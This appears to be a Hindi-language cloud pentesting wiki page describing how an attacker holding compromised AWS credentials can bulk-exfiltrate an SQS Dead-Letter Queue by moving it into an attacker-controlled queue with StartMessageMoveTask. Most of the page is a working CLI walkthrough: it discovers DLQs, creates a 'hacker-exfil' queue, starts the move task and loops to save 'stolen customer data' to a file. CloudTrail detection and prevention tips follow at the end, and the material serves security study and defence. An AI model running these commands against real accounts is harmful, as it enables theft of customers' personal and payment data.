AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask

Reading time: 7 minutes

विवरण

SQS message move tasks का दुरुपयोग करके एक victim की Dead-Letter Queue (DLQ) में जमा सभी संदेशों को sqs:StartMessageMoveTask का उपयोग करते हुए attacker-controlled queue पर redirect करके चुराना। यह तकनीक AWS के वैध message recovery फीचर को एक्सप्लॉइट करती है ताकि समय के साथ DLQs में जमा संवेदनशील डेटा को exfiltrate किया जा सके।

Dead-Letter Queue (DLQ) क्या है?

Dead-Letter Queue एक विशेष SQS queue है जहाँ संदेश स्वतः भेज दिए जाते हैं जब मुख्य एप्लिकेशन द्वारा उन्हें सफलतापूर्वक प्रोसेस नहीं किया जा सकता। ये असफल संदेश अक्सर निम्नलिखित होते हैं:

• प्रोसेस न हो सकने वाला संवेदनशील application data
• Error details और debugging जानकारी
• Personal Identifiable Information (PII)
• API tokens, credentials, या अन्य secrets
• बिजनेस-क्रिटिकल transaction data

DLQs असफल संदेशों के लिए एक "graveyard" की तरह काम करते हैं, इसलिए ये मूल्यवान लक्ष्य होते हैं क्योंकि समय के साथ इनमें उन संवेदनशील डेटा का संचय होता है जिन्हें एप्लिकेशन सही तरीके से हैंडल नहीं कर पाया।

हमला परिदृश्य

Real-world example:

1. E-commerce application SQS के माध्यम से customer orders को प्रोसेस करती है
2. Some orders fail (payment issues, inventory problems, आदि) और उन्हें DLQ में भेज दिया जाता है
3. DLQ accumulates सप्ताहों/महीनों के असफल ऑर्डर जिनमें ग्राहक डेटा होता है: {"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}
4. Attacker gains access AWS credentials के साथ जिनमें SQS permissions हैं
5. Attacker discovers कि DLQ में हजारों असफल ऑर्डर हैं जिनमें संवेदनशील डेटा मौजूद है
6. Instead of trying to access individual messages (धीमा और स्पष्ट), attacker StartMessageMoveTask का उपयोग करके सभी संदेशों को bulk में अपनी queue पर ट्रांसफर कर देता है
7. Attacker extracts एक ही ऑपरेशन में सभी ऐतिहासिक संवेदनशील डेटा

आवश्यकताएँ

• स्रोत queue को किसी न किसी queue के RedrivePolicy द्वारा DLQ के रूप में कॉन्फ़िगर किया गया होना चाहिए।
• IAM permissions (compromised victim principal के रूप में चलाते समय):
• On DLQ (source): sqs:StartMessageMoveTask, sqs:GetQueueAttributes.
• On destination queue: messages deliver करने की permission (उदा., queue policy जो victim principal से sqs:SendMessage की अनुमति देती हो)। same-account destination के लिए यह आमतौर पर डिफ़ॉल्ट रूप से allowed होता है।
• यदि SSE-KMS enabled है: source CMK पर kms:Decrypt, और destination CMK पर kms:GenerateDataKey, kms:Encrypt चाहिए।

प्रभाव

Potential Impact: DLQs में जमा संवेदनशील payloads (failed events, PII, tokens, application payloads) को native SQS APIs का उपयोग करके उच्च गति पर exfiltrate किया जा सकता है। यदि destination queue policy victim principal से SendMessage की अनुमति देती है तो यह cross-account भी काम करता है।

दुरुपयोग कैसे करें

• victim DLQ ARN पहचानें और सुनिश्चित करें कि यह वास्तव में किसी queue द्वारा DLQ के रूप में referenced है (कोई भी queue चलेगा)।
• एक attacker-controlled destination queue बनाएं या चुनें और उसका ARN प्राप्त करें।
• victim DLQ से अपनी destination queue तक संदेश move करने के लिए एक message move task शुरू करें।
• प्रोग्रेस मॉनिटर करें या जरूरत पड़ने पर task को cancel करें।

CLI Example: Exfiltrating Customer Data from E-commerce DLQ

Scenario: An attacker has compromised AWS credentials and discovered that an e-commerce application uses SQS with a DLQ containing failed customer order processing attempts.

1. Discover and examine the victim DLQ

# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
aws sqs list-queues --queue-name-prefix dlq

# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)

# Check how many messages are in the DLQ (potential treasure trove!)
aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
--attribute-names ApproximateNumberOfMessages
# Output might show: "ApproximateNumberOfMessages": "1847"

2. हमलावर-नियंत्रित गंतव्य कतार बनाएं

# Create our exfiltration queue
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)

echo "Created exfiltration queue: $ATTACKER_Q_ARN"

3. थोक संदेश चोरी निष्पादित करें

# Start moving ALL messages from victim DLQ to our queue
# This operation will transfer thousands of failed orders containing customer data
echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
TASK_RESPONSE=$(aws sqs start-message-move-task \
--source-arn "$SRC_ARN" \
--destination-arn "$ATTACKER_Q_ARN" \
--max-number-of-messages-per-second 100)

echo "Move task started: $TASK_RESPONSE"

# Monitor the theft progress
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10

4. चोरी किए गए संवेदनशील डेटा को एकत्र करें

# Receive the exfiltrated customer data
echo "Receiving stolen customer data..."
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--attribute-names All --message-attribute-names All \
--max-number-of-messages 10 --wait-time-seconds 5

# Example of what an attacker might see:
# {
#   "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
#   "MessageId": "12345-abcd-6789-efgh"
# }

# Continue receiving all messages in batches
while true; do
MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--max-number-of-messages 10 --wait-time-seconds 2 --output json)

if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
echo "No more messages - exfiltration complete!"
break
fi

echo "Received batch of stolen data..."
# Process/save the stolen customer data
echo "$MESSAGES" >> stolen_customer_data.json
done

क्रॉस-एकाउंट नोट्स

• गंतव्य queue में ऐसा resource policy होना चाहिए जो victim principal को sqs:SendMessage की अनुमति दे (और, यदि उपयोग किया गया हो, KMS grants/permissions)।

यह हमला क्यों प्रभावी है

1. Legitimate AWS Feature: बिल्ट-इन AWS फ़ंक्शनैलिटी का उपयोग करता है, जिससे इसे दुर्भावनापूर्ण के रूप में पहचानना कठिन होता है
2. Bulk Operation: धीमे व्यक्तिगत एक्सेस की बजाय हजारों संदेशों को तेज़ी से स्थानांतरित करता है
3. Historical Data: DLQs हफ्तों/महीनों में संवेदनशील डेटा इकट्ठा कर लेते हैं
4. Under the Radar: कई संगठन DLQ एक्सेस की बारीकी से निगरानी नहीं करते
5. Cross-Account Capable: यदि permissions अनुमति देते हैं तो attacker के अपने AWS खाते में exfiltrate कर सकता है

पता लगाना और रोकथाम

पता लगाना

संदिग्ध StartMessageMoveTask API कॉल्स के लिए CloudTrail की निगरानी करें:

{
"eventName": "StartMessageMoveTask",
"sourceIPAddress": "suspicious-ip",
"userIdentity": {
"type": "IAMUser",
"userName": "compromised-user"
},
"requestParameters": {
"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
}
}

रोकथाम

1. न्यूनतम विशेषाधिकार: sqs:StartMessageMoveTask अनुमतियों को केवल आवश्यक भूमिकाओं तक सीमित करें
2. DLQs की निगरानी: असामान्य DLQ गतिविधि के लिए CloudWatch अलार्म सेट करें
3. क्रॉस-एकाउंट नीतियाँ: SQS queue नीतियों की सावधानीपूर्वक समीक्षा करें जो क्रॉस-एकाउंट एक्सेस की अनुमति देती हैं
4. DLQs को एन्क्रिप्ट करें: सीमित कुंजी नीतियों के साथ SSE-KMS का उपयोग करें
5. नियमित क्लीनअप: संवेदनशील डेटा को DLQs में अनिश्चित काल तक जमा न होने दें